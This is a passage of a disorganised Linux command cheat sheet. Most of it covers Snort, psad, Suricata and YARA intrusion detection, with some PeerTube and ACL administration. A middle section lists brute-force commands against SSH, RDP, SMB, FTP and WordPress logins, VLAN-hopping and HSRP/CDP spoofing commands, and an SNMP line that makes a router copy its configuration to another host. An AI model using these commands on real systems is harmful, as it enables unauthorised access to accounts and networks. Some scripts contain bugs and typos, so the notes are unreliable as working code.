  8277. /usr/sbin/snort -D -c /etc/snort/snort.conf -l /var/log/snort
  8278.  
  8279.  
  8280.  
  8281.  
  8282. Printing the pcap
  8283.  
  8284. snort --pcap-dir=/$Dir/$File.pcap --pcap-show
  8285.  
  8286.  
  8287.  
  8288.  
  8289.  
  8290.  
  8291.  
  8292. bro -r $File.pcap
  8293. snort -r $File.pcap -c /etc/snort.conf -l $LogFile
  8294.  
  8295.  
  8296.  
  8297. ##-=======================================-##
  8298. ##   [+] Running Snort In logging Mode:
  8299. ##-=======================================-##
  8300. ##-===================================-##
  8301. ##   [+] Running snort with logging
  8302. ##-===================================-##
  8303. snort -A fast -c /etc/snort/snort.conf -i eth0 -k none
  8304.  
  8305.  
  8306. ##-===================================-##
  8307. ##   [+]
  8308. ##-===================================-##
  8309. tail -f /var/log/snort/alert
  8310.  
  8311.  
  8312. ##-=========================================================-##
  8313. ##    [+]  run as a network intrusion detection system,
  8314. ##    [+]  binary logging, alerts sent to the system logger:
  8315. ##-=========================================================-##
  8316. snort -c /usr/local/share/rules/snort.conf -b -s
  8317.  
  8318.  
  8319. ##-===========================-##
  8320. ##   [+]  Clone the PulledPork Repo:
  8321. ##-===========================-##
  8322. git clone https://github.com/shirkdog/pulledpork.git
  8323.  
  8324.  
  8325. ##-===========================-##
  8326. ##   [+]
  8327. ##-===========================-##
  8328. pulledpork.pl -c /etc/pulledpork/pulledpork.conf
  8329.  
  8330.  
  8331.  
  8332. sed -i "s/\/usr\/local\/etc\/snort\//\/etc\/snort\//g" /etc/snort/pulledpork.conf
  8333. sed -i "s/# enablesid=/enablesid=/g" /etc/snort/pulledpork.conf
  8334. sed -i "s/# dropsid=/enablesid=/g" /etc/snort/pulledpork.conf
  8335. sed -i "s/# disablesid=/enablesid=/g" /etc/snort/pulledpork.conf
  8336. sed -i "s/# modifysid=/enablesid=/g" /etc/snort/pulledpork.conf
  8337. sed -i "s/distro=FreeBSD-8-1/distro=Debian-8-4/g" /etc/snort/pulledpork.conf
  8338. sed -i "s/# out_path=/out_path=/g" /etc/snort/pulledpork.conf
  8339.  
  8340.  
  8341.  
  8342.  
  8343. bro-cut id.resp_p query
  8344.  
  8345.  
  8346. Output three columns and convert time values:
  8347.        cat conn.log | zeek-cut -d ts id.orig_h id.orig_p
  8348.  
  8349.        Output all columns and convert time values with a custom format string:
  8350.        cat conn.log | zeek-cut -D "%Y-%m-%d %H:%M:%S"
  8351.  
  8352.        Compressed logs must be uncompressed with another utility:
  8353.        zcat conn.log.gz | zeek-cut
  8354.  
  8355.  
  8356.  
  8357.  
  8358.  
  8359. Daemonlogger is a packet logger and soft tap
  8360. developed by Martin Roesch
  8361.  
  8362.  
  8363.  
  8364.  
  8365. ##-===========================-##
  8366. ##   [+]
  8367. ##-===========================-##
  8368. fwsnort --update-rules
  8369.  
  8370.  
  8371.  
  8372. /usr/sbin/fwsnort
  8373. /usr/sbin/snort
  8374. /usr/sbin/snort-stat
  8375.  
  8376. /etc/fwsnort/fwsnort.conf
  8377.  
  8378. /etc/psad/psad.conf
  8379.  
  8380. /etc/oinkmaster.conf
  8381.  
  8382. /etc/sagan-rules/
  8383. /etc/sagan.conf
  8384.  
  8385. /etc/snort/rules/
  8386. /etc/snort/snort.conf
  8387.  
  8388.  
  8389.  
  8390.  
  8391.  
  8392.  
  8393.  
  8394. PsadfifoLog=$(cat /etc/rsyslog.conf | grep psadfifo)
  8395.  
  8396.  
  8397. if [ ! -e $PsadfifoLog ];then
  8398.     echo "Psadfifo Log Entry Exists!"
  8399.     $Psadfifo
  8400. else
  8401.     echo "kern.info         |/var/lib/psad/psadfifo" >> /etc/rsyslog.conf
  8402. fi
  8403.  
  8404.  
  8405.  
  8406. echo "would you like to update psad?"
  8407. echo -n "UpdatePsad?: "
  8408. read UpdatePsad
  8409.  
  8410. if [ $UpPsad = "yes" ]; then
  8411.     echo "Psad Signatures Updating..."
  8412.     psad --sig-update
  8413.     fwsnort --update-rules
  8414. else
  8415.     echo "OK. Psad Will Update Later..."
  8416. fi
  8417.  
  8418.  
  8419.  
  8420.  
  8421.  
  8422. if [ ! -e $PsadfifoLog ];then
  8423.     echo "Psadfifo Log Entry Exists!"
  8424.     $Psadfifo
  8425. else
  8426.     echo "kern.info         |/var/lib/psad/psadfifo" >> /etc/rsyslog.conf
  8427. fi
  8428.  
  8429.  
  8430.  
  8431. echo "would you like to update psad?"
  8432. echo -n "UpdatePsad?: "
  8433. read UpdatePsad
  8434.  
  8435. if [ $UpPsad = "yes" ]; then
  8436.     echo "Psad Signatures Updating..."
  8437.     psad --sig-update
  8438.     fwsnort --update-rules
  8439. else
  8440.     echo "OK. Psad Will Update Later..."
  8441. fi
  8442.  
  8443.  
  8444. psad --Status
  8445.  
  8446.  
  8447.  
  8448.  
  8449. Forensics Mode
  8450. psad -A
  8451.  
  8452.  
  8453. psad --debug
  8454.  
  8455.  
  8456.  
  8457. Apparmor profiles
  8458. aa-enforce usr.sbin.psad usr.sbin.fwsnort etc.fwsnort.fwsnort.sh
  8459.  
  8460.  
  8461.  
  8462.  
  8463.  
  8464.  
  8465.  
  8466.  
  8467.  
  8468.  
  8469.  
  8470. --config /etc/fwsnort/fwsnort.conf
  8471. --update-rules
  8472. --rules-url http://rules.emergingthreats.net/open/snort-2.9.0/emerging-all.rules
  8473. fwsnort --snort-rdir /etc/fwsnort/snort_rules
  8474. fwsnort --snort-rfile /etc/fwsnort/snort_rules/
  8475. fwsnort --snort-rfile /etc/fwsnort/snort_rules/community-rules/community.rules
  8476. --include-perl-triggers
  8477.  
  8478.  
  8479.  
  8480.  
  8481. --ipt-script
  8482. --ipt-check-capabilities
  8483. psad --fw-list
  8484. psad --Status
  8485. psad --fw-block-ip 144.202.X.X
  8486. psad --Flush
  8487. --ipt-apply
  8488. --ipt-list
  8489. --include-type ftp,mysql
  8490. --snort-conf
  8491. --snort-sid
  8492. --ipt-drop
  8493.  
  8494.  
  8495. --Ulog
  8496. --ulog-nlgroup
  8497.  
  8498. --logfile /var/log/fwsnort.log
  8499.  
  8500. --verbose
  8501.  
  8502. /etc/fwnort/fwsnort.conf
  8503. --ipt-script /var/lib/fwnort/fwsnort.sh
  8504.  
  8505. fwsnort --snort-sid 1834,2001842 --NFQUEUE --no-ipt-INPUT --no-ipt-OUTPUT
  8506.  
  8507.  
  8508.  
  8509. --Conntrack-state
  8510.  
  8511.  
  8512.  
  8513.  
  8514.  
  8515.  
  8516.  
  8517. fwsnort --ipt-sync --verbose
  8518.  
  8519. fwsnort --snort-sids 2001842 --ipt-drop
  8520.  
  8521. fwsnort --snort-sid 2281 --ipt-reset
  8522. fwsnort --snort-sid 900001 --ipt-reject
  8523. fwsnort --snort-sid 2002763 --ipt-reject
  8524. fwsnort --snort-sids 2001842 --ipt-drop
  8525. fwsnort --snort-sid 2281 --ipt-drop
  8526.  
  8527. fwsnort --snort-sid 2281 --ipt-reset
  8528.  
  8529. fwsnort --snort-sid 1332,1336,1338,1339,1341,1342,1360
  8530.  
  8531.  
  8532. grep -i metasploit /etc/fwsnort/fwsnort.sh
  8533.  
  8534. cp /etc/fwsnort/snort_rules/metasploit.rules /etc/psad/
  8535. snort_rules
  8536.  
  8537. echo "900001
  8538. 4;" >> /etc/psad/snort_rule_dl
  8539.  
  8540.  
  8541.  
  8542.  
  8543.  
  8544.  
  8545.  
  8546.  
  8547.  
  8548.  
  8549.  
  8550.  
  8551.  
  8552. psad --sig-update
  8553.  
  8554. psad --Analyze-msgs
  8555.  
  8556. psad --status
  8557.  
  8558. psad --status-ip $IP
  8559.  
  8560. psad --status-summary
  8561.  
  8562. psad --debug
  8563.  
  8564. psad --config
  8565.  
  8566.  
  8567.  
  8568. /etc/init.d/psad start
  8569.  
  8570.  
  8571. psad --fw-dump
  8572.  
  8573.  
  8574. psad --fw-block-ip $IP
  8575.  
  8576.  
  8577. psad --fw-file $IPTablesRules
  8578.  
  8579.  
  8580. ##-===============================================-##
  8581. ##   [+]
  8582. ##-===============================================-##
  8583. psad --fw-analyze
  8584.  
  8585.  
  8586.  
  8587. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8588.         psad --fw-list-auto
  8589. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8590.         psad --analysis-auto-block
  8591. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8592.         psad -A -m $IPTLogFile
  8593. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8594.         psad -A -m $IPTLogFile --analysis-fields src:$IP
  8595. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8596.         psad -c $PSADConfig -s $SigFile -a $AutoIPFile
  8597. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8598.         psad -c /etc/psad/psad.conf -s /etc/psad/signatures -a /etc/psad/auto_dl
  8599. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8600.  
  8601.  
  8602.  
  8603. ##-===============================================-##
  8604. ##   [+] Disable FW check
  8605. ##   [+] Disable local port lookup subroutines
  8606. ##-=====================COMMIT==========================-##
  8607. psad --log-server --no-netstat
  8608.  
  8609.  
  8610.  
  8611.  
  8612. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8613.         fwcheck_psad --fw-analyze                   ##  Analyze the local iptables ruleset
  8614. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8615.         fwcheck_psad --fw-file                      ## Allow the user to analyze a specific rulset
  8616.                                                                     ## from a file rather than the local policy
  8617. ## ----------------------------------------------------------------------------------------------------------------------------------- ##
  8618.  
  8619.  
  8620.  
  8621.  
  8622. ##-==========================================-##
  8623. ##    [+] Specify path to the psad configuration file.
  8624. ##    [?] By default this is /etc/psad/psad.conf
  8625. ##-==========================================-##
  8626. fwcheck_psad --config /etc/psad/psad.conf
  8627.  
  8628.  
  8629.  
  8630.  
  8631.  
  8632. ##-===============================================-##
  8633. ##   [+] Print metadata associated to the rule
  8634. ##-===============================================-##
  8635. yara --print-meta
  8636.  
  8637.  
  8638. ##-===========================-##
  8639. ##   [+] Print module data
  8640. ##-===========================-##
  8641. yara --print-module-data
  8642.  
  8643.  
  8644. ##-===============================================-##
  8645. ##   [+] Print namespace associated to the rule
  8646. ##-===============================================-##
  8647. yara --print-namespace/etc/snort/rules/
  8648.  
  8649.  
  8650. ##-=================================-##
  8651. ##   [+] Print rules statistics
  8652. ##-=================================-##
  8653. yara --print-stats
  8654.  
  8655.  
  8656. ##-========================================-##
  8657. ##   [+] Print strings found in the file
  8658. ##-========================================-##
  8659. yara --print-strings
  8660.  
  8661.  
  8662. ##-==================================================-##
  8663. ##   [+] Print length of strings found in the file
  8664. ##-==================================================-##
  8665. yara --print-string-length
  8666.  
  8667.  
  8668. ##-===============================================-##
  8669. ##   [+] Print the tags associated to the rule
  8670. ##-===============================================-##
  8671. yara --print-tags
  8672.  
  8673.  
  8674. ##-===============================================-##
  8675. ##   [+] Scan files in directories recursively
  8676. ##-===============================================-##
  8677. yara --recursive
  8678.  
  8679.  
  8680. ##-==============================================================-##
  8681. ##   [+] RULES_FILE contains rules already compiled with yarac
  8682. ##-==============================================================-##
  8683. yara --compiled-rules
  8684.  
  8685.  
  8686.  
  8687.  
  8688.  
  8689. ##-===============================================-##
  8690. ##   [+]
  8691. ##-===============================================-##
  8692. Apply rules on /$Dir/rules
  8693. to all files on current directory.
  8694. Subdirectories are not scanned.
  8695. yara /$Dir/rules
  8696.  
  8697.  
  8698.  
  8699. ##-=========================================================-##
  8700. ##   [+] Apply rules on /foo/bar/rules to bazfile.
  8701. ##   [+] Only reports rules tagged as Packer or Compiler.
  8702. ##-=========================================================-##
  8703. yara -t Packer -t Compiler /$Dir/rules bazfile
  8704.  
  8705.               Apply rules on /foo/bar/rules to bazfile.  Only reports rules tagged as Packer or Compiler.
  8706.  
  8707. ##-====================================================================-##
  8708. ##   [+] Scan all files in the /foo directory and its subdirectories.
  8709. ##   [+] Rules are read from standard input.
  8710. ##-====================================================================-##
  8711. cat /$Dir/rules | yara -r /foo
  8712.  
  8713.  
  8714. ##-=============================================================-##
  8715. ##   [+] Defines three external variables $Var $Var and $Var.
  8716. ##-=============================================================-##
  8717. yara -d $Var=true -d $Var=5 -d $Var="my string" /$Dir/rules bazfile
  8718.  
  8719.  
  8720. ##-===============================================-##
  8721. ##   [+]
  8722. ##-===============================================-##
  8723. ## ------------------------------------------------------------------------------ ##
  8724. ##   [?] Apply rules on /foo/bar/rules to bazfile
  8725. ##   [?] while passing the content of cuckoo_json_report to the cuckoo module.
  8726. ## ------------------------------------------------------------------------------ ##
  8727. yara -x cuckoo=cuckoo_json_report /$Dir/rules bazfile
  8728.  
  8729.  
  8730.  
  8731.  
  8732.  
  8733. ##-==========================================-##
  8734. ##   [+] Run yardoc on all our lib files:
  8735. ##-==========================================-##
  8736. yardoc lib/**/*.rb
  8737.  
  8738.  
  8739.  
  8740.  
  8741.  
  8742.  
  8743. ##-===================-##
  8744. ##   [+] Suricata
  8745. ##-===================-##
  8746.  
  8747. /etc/suricata/   <--- Configuration Files
  8748. /etc/suricata/rules/  <--- Rules
  8749. /var/log/suricata/    <--- Log Files
  8750. /var/log/suricata/fast.log   <--- Log file with triggered rules
  8751.  
  8752.  
  8753. wget http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz
  8754. tar zxvf emerging.rules.tar.gz
  8755. sudo mkdir /var/lib/suricata/
  8756. sudo mv rules /var/lib/suricata/
  8757.  
  8758.  
  8759.  
  8760. ##-====================================-##
  8761. ##   [+] edit suricata.yaml and find
  8762. ##-====================================-##
  8763. default-rule-path: /var/lib/suricata/rules
  8764.  
  8765.  
  8766.  
  8767. ##-=================================================================-##
  8768. ##   [+] run Suricata against the network interface on your host.
  8769. ##-=================================================================-##
  8770. sudo suricata -c /etc/suricata/suricata.yaml -i eth0
  8771.  
  8772.  
  8773.  
  8774.  
  8775. try running Suricata against a test pcap.
  8776. I found a pcap with the popular ETERNALBLUE exploit
  8777. from the Shadowbrokers / NSA episode.
  8778. You could just as easily try triggering Suricata alerts
  8779.  
  8780.  
  8781. suricata -c /etc/suricata/suricata.yaml -r ~/enternalblue.pcap
  8782. cat /var/log/suricata/fast.log
  8783.  
  8784.  
  8785.  
  8786. suricata -c /etc/suricata/suricata.yaml --init-errors-fatal
  8787.  
  8788.  
  8789.  
  8790.  
  8791.  
  8792.  
  8793.  
  8794.  
  8795.  
  8796.  
  8797. service xplico start
  8798. service xplico stop
  8799. xdg-open http://localhost:9876
  8800.  
  8801.  
  8802.  
  8803.  
  8804. volafox
  8805.  
  8806.  
  8807.  
  8808.  
  8809.  
  8810.  
  8811.  
  8812.  
  8813.  
  8814.  
  8815.  
  8816.  
  8817.  
  8818.  
  8819. ##-=========================================================================-##
  8820. ##   [+] AES-256 Encrypted-To-Base64 Encoded Split Files {Crypto-KungFu}
  8821. ##-=========================================================================-##
  8822.  
  8823. dd if=/dev/urandom of=/mnt/<Drive>/Encrypt bs=<size>M count=2
  8824.  
  8825. losetup -e AES256 /dev/loop0 /mnt/<Drive>/Encrypt
  8826.  
  8827. mkfs -t ext3 /dev/loop0
  8828.  
  8829. mkdir /mnt/<Drive2>
  8830.  
  8831. mount -t ext3 /dev/loop0 /mnt/<Drive2>
  8832.  
  8833. df -k
  8834.  
  8835. mount -t ext3 /mnt/Drive/Encrypt /mnt/<Drive2> -o loop=/dev/loop0,encryption=AES256
  8836.  
  8837. split --bytes=<Size> /mnt/<Drive>/Encrypt
  8838.  
  8839. cat xa* > Encrypt
  8840.  
  8841. mount -t ext3 /mnt/<Drive>/Encrypt /mnt/<Drive2> -o loop=/dev/loop0,encryption=AES256
  8842.  
  8843. uuencode -m xaa xaa.html > xaa.html
  8844. uuencode -m xab xab.html > xab.html
  8845.  
  8846. uudecode -o xaa xaa.html
  8847. uudevode -o xab xab.html
  8848.  
  8849.  
  8850.  
  8851.  
  8852.  
  8853.  
  8854.  
  8855.  
  8856.  
  8857.  
  8858.  
  8859.  
  8860.  
  8861.  
  8862.  
  8863. ##-===============================================-##
  8864. ##   [+]
  8865. ##-===============================================-##
  8866. voiphopper -i eth0 -c 0
  8867.  
  8868.  
  8869. ##-===================================================-##
  8870. ##   [+] CDP Spoof Mode with custom packet (-c 1):
  8871. ##-===================================================-##
  8872. -D (Device ID)
  8873. -P (Port ID)
  8874. -C (Capabilities)
  8875. -L (Platform)
  8876. -S (Software)
  8877. -U (Duplex)
  8878.  
  8879. voiphopper -i eth0 -c 1 -E 'SIP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S 'P003-08-8-00' -U 1
  8880.  
  8881.  
  8882.  
  8883. ##-===================================================-##
  8884. ##   [+] CDP Spoof Mode with pre-made packet (-c 2)
  8885. ##-===================================================-##
  8886. voiphopper -i eth0 -c 2
  8887.  
  8888.  
  8889. ##-=====================================-##
  8890. ##   [+] Avaya DHCP Option Mode (-a):
  8891. ##-=====================================-##
  8892. voiphopper -i eth0 -a
  8893.  
  8894.  
  8895. ##-=====================================-##
  8896. ##   [+] VLAN Hop Mode (-v VLAN ID):
  8897. ##-=====================================-##
  8898. voiphopper -i eth0 -v 200
  8899.  
  8900.  
  8901. ##-========================================-##
  8902. ##   [+] Nortel DHCP Option Mode (-n):
  8903. ##-========================================-##
  8904. voiphopper -i eth0 -n
  8905.  
  8906.  
  8907. ##-===================================================-##
  8908. ##   [+]
  8909. ##-===================================================-##
  8910. voiphopper -i eth0 -v 20
  8911.  
  8912.  
  8913. ##-===========================================-##
  8914. ##   [+] Mode to specify the Voice VLAN ID
  8915. ##-===========================================-##
  8916. ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8E
  8917.  
  8918.  
  8919. ##-==========================================================================-##
  8920. ##   [+] Mode to auto-discover voice vlan ID in the listening mode for CDP
  8921. ##-==========================================================================-##
  8922. ace -i eth0 -c 0 -m 00:1E:F7:28:9C:8E
  8923.  
  8924.  
  8925. ##-==========================================================================-##
  8926. ##   [+] Mode to auto-discover voice vlan ID in the spoofing mode for CDP
  8927. ##-==========================================================================-##
  8928. ace -i eth0 -c 1 -m 00:1E:F7:28:9C:8E
  8929.  
  8930.  
  8931.  
  8932. ##-===================================================================-##
  8933. ##   [+]
  8934. ##-===================================================================-##
  8935. ucsniff -i eth0.20 // //
  8936.  
  8937.  
  8938.  
  8939.  
  8940.  
  8941.  
  8942.  
  8943.  
  8944.  
  8945.  
  8946. hardening cisco routers - thomas akin
  8947.  
  8948.  
  8949.  
  8950.  
  8951. ##-========================================================================-##
  8952. ##   [+] Medusa - initiated against an htaccess protected web directory
  8953. ##-========================================================================-##
  8954. medusa -h $IP -u admin -P $PassFile -M http -m DIR:/admin -T 10
  8955.  
  8956.  
  8957.  
  8958. ##-=================================-##
  8959. ##   [+] Ncrack - brute force RDP
  8960. ##-=================================-##
  8961. ncrack -vv --user offsec -P $PassFile rdp://$ip
  8962.  
  8963.  
  8964.  
  8965.  
  8966. onesixtyone -c $Strings.txt 192.168.1.1
  8967.  
  8968.  
  8969. Hydra
  8970.  
  8971. hydra -t 2 -P $PassFile cisco
  8972. hydra -t 2 -m $Pass -P $Wordlist.txt cisco-enable
  8973.  
  8974.  
  8975. hydra -l $User -P $PassFile.txt -o $File.txt -t 1 -f 127.0.0.1 http-get-form "enviar.php:user=^USER^&pass=^PASS^:Algo esta errado"
  8976.  
  8977. hydra -l $User -P $PassFile.txt -o $File.txt -t 1 -f -w 15 127.0.0.1 http-post-form "/login/logar.php:user=^USER^&pass=^PASS^:S=Logado com sucesso"
  8978.  
  8979. hydra -l $User -P $PassFile.txt -o $File.txt -t 1 -f 127.0.0.1 http-post-form "/login/logar.php:user=^USER^&pass=^PASS^:Usuario ou senha invalida"
  8980.  
  8981. hydra -L users.txt -P $PassFile.txt -o $File.txt localhost http-head /colt/
  8982.  
  8983. hydra -l $User -P $PassFile.txt -w 15 localhost ftp
  8984.  
  8985.  
  8986.  
  8987. ##-=================================-##
  8988. ##   [+] Hydra - Bruteforce SNMP
  8989. ##-=================================-##
  8990. hydra -P $PassFile.txt -v $IP snmp
  8991.  
  8992.  
  8993. ##-===========================================-##
  8994. ##   [+] Hydra - Bruteforce FTP known user
  8995. ##-===========================================-##
  8996. hydra -t 1 -l $User -P /usr/share/wordlists/rockyou.txt -vV $IP ftp
  8997.  
  8998.  
  8999. ##-====================================================-##
  9000. ##   [+] Hydra SSH using list of users and passwords
  9001. ##-====================================================-##
  9002. hydra -v -V -u -L $Users.txt -P $PassFile.txt -t 1 -u $IP ssh
  9003.  
  9004.  
  9005. ##-=============================================================-##
  9006. ##   [+] Hydra SSH using a known password and a username list
  9007. ##-=============================================================-##
  9008. hydra -v -V -u -L $Users.txt -p "<known password>" -t 1 -u $IP ssh
  9009.  
  9010.  
  9011. ##-====================================================-##
  9012. ##   [+] Hydra SSH Against Known username on port 22
  9013. ##-====================================================-##
  9014. hydra $IP -s 22 ssh -l $User -P $PassFile.txt
  9015.  
  9016.  
  9017. ##-=================================-##
  9018. ##   [+] Hydra - POP3 Brute Force
  9019. ##-=================================-##
  9020. hydra -l $User -P $PassFile -f $IP pop3 -V
  9021.  
  9022.  
  9023. ##-================================-##
  9024. ##   [+] Hydra - SMTP Brute Force
  9025. ##-================================-##
  9026. hydra -P $PassFile $IP smtp -V
  9027.  
  9028.  
  9029. ##-=============================================================-##
  9030. ##   [+] Hydra - attack http get 401 login with a dictionary
  9031. ##-=============================================================-##
  9032. hydra -L ./webapp.txt -P $PassFile $IP http-get /admin
  9033.  
  9034.  
  9035. ##-==========================================================-##
  9036. ##   [+] Hydra attack Windows Remote Desktop with rockyou
  9037. ##-==========================================================-##
  9038. hydra -t 1 -V -f -l $User -P /usr/share/wordlists/rockyou.txt rdp://$IP
  9039.  
  9040.  
  9041. ##-=================================================-##
  9042. ##   [+] Hydra brute force SMB user with rockyou:
  9043. ##-=================================================-##
  9044. hydra -t 1 -V -f -l $User -P /usr/share/wordlists/rockyou.txt $IP smb
  9045.  
  9046.  
  9047. ##-==================================================-##
  9048. ##   [+] Hydra brute force a Wordpress admin login
  9049. ##-==================================================-##
  9050. hydra -l $User -P $File.txt $IP -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
  9051.  
  9052.  
  9053.  
  9054.  
  9055.  
  9056.  
  9057.  
  9058.  
  9059.  
  9060. ##-=================================-##
  9061. ##   [+] Cisco Global Exploiter
  9062. ##-=================================-##
  9063. cge.pl -h 192.168.1.1 -v 7
  9064.  
  9065.  
  9066. ##-===============================================-##
  9067. ##   [+] Flood network with bogus CDP packets:
  9068. ##-===============================================-##
  9069. cdp -i eth0 -m 0
  9070.  
  9071.  
  9072. ##-=============================================================-##
  9073. ##   [+] HSRP Generator - Send spoofed HSRP packets out eth0
  9074. ##-=============================================================-##
  9075. with authword of cisco and group 1
  9076. spoofing virtual IP 192.168.1.25 to all routers on subnet
  9077.  
  9078. hsrp -d 224.0.0.2 -v 192.168.1.25 -a cisco -g 1 -i eth0
  9079.  
  9080.  
  9081.  
  9082. snmpset $IP private.1.3.6.1.4.1.9.2.1.55.171.68.191.135
  9083. router-config enterprises.9.2.1.55.192.168.0.25 = "router-config"
  9084.  
  9085.  
  9086.  
  9087. ##-===========================================-##
  9088. ##   [+] Enumerate IP adresses in a network
  9089. ##-===========================================-##
  9090. netenum 192.168.1.0/27
  9091.  
  9092.  
  9093.  
  9094. ##-==========================================-##
  9095. ##   [+] send and ICMP timestamp request
  9096. ##-==========================================-##
  9097. timestamp -d 192.168.1.1
  9098.  
  9099.  
  9100.  
  9101.  
  9102.  
  9103.  
  9104. ##-=============================================-##
  9105. ##   [+] IKE-Scan - scan in aggressive mode
  9106. ##-=============================================-##
  9107. ike-scan -A 192.168.1.1 -v
  9108.  
  9109.  
  9110.  
  9111. ##-==========================================================================-##
  9112. ##   [+] Scan for all protocols in both active and passive modes via eth0:
  9113. ##-==========================================================================-##
  9114. ass -A -i eth0
  9115.  
  9116.  
  9117. softflowd
  9118.  
  9119.  
  9120.  
  9121.  
  9122.  
  9123.  
  9124.  
  9125.  
  9126. chown debian-tor:debian-tor "$TORPIDDIR"
  9127.  
  9128. check_torpiddir () {
  9129. if test ! -d $TORPIDDIR; then
  9130. mkdir -m 02750 "$TORPIDDIR"
  9131. chown debian-tor:debian-tor "$TORPIDDIR"
  9132. fi
  9133. if test ! -x $TORPIDDIR; then
  9134. log_action_end_msg 1 "cannot access $TORPIDDIR directory, are you root?"
  9135. exit 1
  9136. fi
  9137. }
  9138.  
  9139.  
  9140.  
  9141.  
  9142.  
  9143.  
  9144.  
  9145.  
  9146.  
  9147.  
  9148. mkdir /var/log/privoxy/privoxy{2,3,4,5,6,7,8}
  9149. | awk -F ' ' '{print $1}'
  9150.  
  9151.  
  9152.  
  9153.  
  9154. refresh_pattern ^(ht|f)tp://.*ubuntu.*/Packages\.(bz2|gz|diff/Index)$ 0
  9155. refresh_pattern ^(ht|f)tp://.*ubuntu.*/Release(\.gpg)?$
  9156. 0
  9157. refresh_pattern ^(ht|f)tp://.*ubuntu.*/Sources\.(bz2|gz|diff/Index)$
  9158. 0
  9159. refresh_pattern ^(ht|f)tp://.*ubuntu.*/Translation-it\.bz2)$
  9160.  
  9161.  
  9162.  
  9163.  
  9164.  
  9165.  
  9166. ##-=================================================-##
  9167. ##   [+] Granting an additional user read access
  9168. ##-=================================================-##
  9169. setfacl -m u:lisa:r file
  9170.  
  9171.  
  9172. ##-====================================================================-##
  9173. ##   [+] Revoking write access from all groups and all named  users
  9174. ##-====================================================================-##
  9175. setfacl -m m::rx file
  9176.  
  9177.  
  9178. ##-========================================================-##
  9179. ##   [+] Removing a named group entry from a files ACL
  9180. ##-========================================================-##
  9181. setfacl -x g:staff file
  9182.  
  9183.  
  9184. ##-================================================-##
  9185. ##   [+] Copying the ACL of one file to another
  9186. ##-================================================-##
  9187. getfacl file1 | setfacl --set-file=- file2
  9188.  
  9189.  
  9190. ##-=====================================================-##
  9191. ##   [+] Copying the access ACL into the Default ACL
  9192. ##-=====================================================-##
  9193. getfacl --access dir | setfacl -d -M- dir
  9194.  
  9195.  
  9196.  
  9197.  
  9198.  
  9199.  
  9200.  
  9201.  
  9202. $ # Basic installation
  9203. $ cd /var/www/peertube/peertube-latest
  9204. $ sudo -u peertube NODE_CONFIG_DIR=/var/www/peertube/config NODE_ENV=production npm run parse-log -- --level debug --not-tags http sql
  9205.  
  9206. $ # Docker installation
  9207. $ cd /var/www/peertube-docker
  9208. $ docker-compose exec -u peertube peertube npm run parse-log -- --level debug --not-tags http sql
  9209.  
  9210.  
  9211.  
  9212.  
  9213. # Docker installation
  9214. $ cd /var/www/peertube-docker
  9215. $ docker-compose exec -u peertube peertube npm run parse-log -- --level info
  9216.  
  9217.  
  9218.  
  9219.  
  9220.  
  9221. synchronize a Youtube channel to your PeerTube instance (ensure you have the agreement from the author), you can add a crontab rule (or an equivalent of your OS) and insert these rules (ensure to customize them to your needs):
  9222.  
  9223. # Update youtube-dl every day at midnight
  9224. 0 0 * * * /usr/bin/npm rebuild youtube-dl --prefix /PATH/TO/PEERTUBE/
  9225.  
  9226. # Synchronize the YT channel every sunday at 22:00 all the videos published since last monday included
  9227. 0 22 * * 0 /usr/bin/node /PATH/TO/PEERTUBE/dist/server/tools/peertube-import-videos.js -u '__PEERTUBE_URL__' -U '__USER__' --password '__PASSWORD__' --target-url 'https://www.youtube.com/channel/___CHANNEL__' --since $(date --date="-6 days" +\%Y-\%m-\%d)
  9228.  
  9229.  
  9230.  
  9231. peertube auth add -u 'PEERTUBE_URL' -U 'PEERTUBE_USER' --password 'PEERTUBE_PASSWORD'
  9232.  
  9233.  
  9234. peertube auth list
  9235. ┌──────────────────────────────┬──────────────────────────────┐
  9236. │ instance                     │ login                        │
  9237. ├──────────────────────────────┼──────────────────────────────┤
  9238. 'PEERTUBE_URL'               │ 'PEERTUBE_USER'              │
  9239. └──────────────────────────────┴──────────────────────────────┘
  9240.  
  9241. generate the first SSL/TLS certificate using Lets Encrypt:
  9242.  
  9243. mkdir -p docker-volume/certbot
  9244. docker run -it --rm --name certbot -p 80:80 -v "$(pwd)/docker-volume/certbot/conf:/etc/letsencrypt" certbot/certbot certonly --standalone
  9245.  
  9246. ##  search the log output for your new PeerTubes instance admin credentials
  9247. docker-compose logs peertube | grep -A1 root
  9248.  
  9249.  
  9250.  
  9251. Obtaining Your Automatically Generated DKIM DNS TXT Record
  9252. cat ./docker-volume/opendkim/keys/*/*.txt
  9253.  
  9254. ##  peertube._domainkey.mydomain.tld.    IN    TXT    ( "v=DKIM1; h=sha256; k=rsa; "
  9255. ##       "p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Dx7wLGPFVaxVQ4TGym/eF89aQ8oMxS9v5BCc26Hij91t2Ci8Fl12DHNVqZoIPGm+9tTIoDVDFEFrlPhMOZl8i4jU9pcFjjaIISaV2+qTa8uV1j3MyByogG8pu4o5Ill7zaySYFsYB++cHJ9pjbFSC42dddCYMfuVgrBsLNrvEi3dLDMjJF5l92Uu8YeswFe26PuHX3Avr261n"
  9256. ##       "j5joTnYwat4387VEUyGUnZ0aZxCERi+ndXv2/wMJ0tizq+a9+EgqIb+7lkUc2XciQPNuTujM25GhrQBEKznvHyPA6fHsFheymOuB763QpkmnQQLCxyLygAY9mE/5RY+5Q6J9oDOQIDAQAB" )  ; ----- DKIM key peertube for mydomain.tld
  9257.  
  9258.  
  9259. Create the production database and a peertube user inside PostgreSQL:
  9260.  
  9261. cd /var/www/peertube
  9262. sudo -u postgres createuser -P peertube
  9263.  
  9264. sudo -u postgres createdb -O peertube -E UTF8 -T template0 peertube_prod
  9265.  
  9266.  
  9267.  
  9268.  
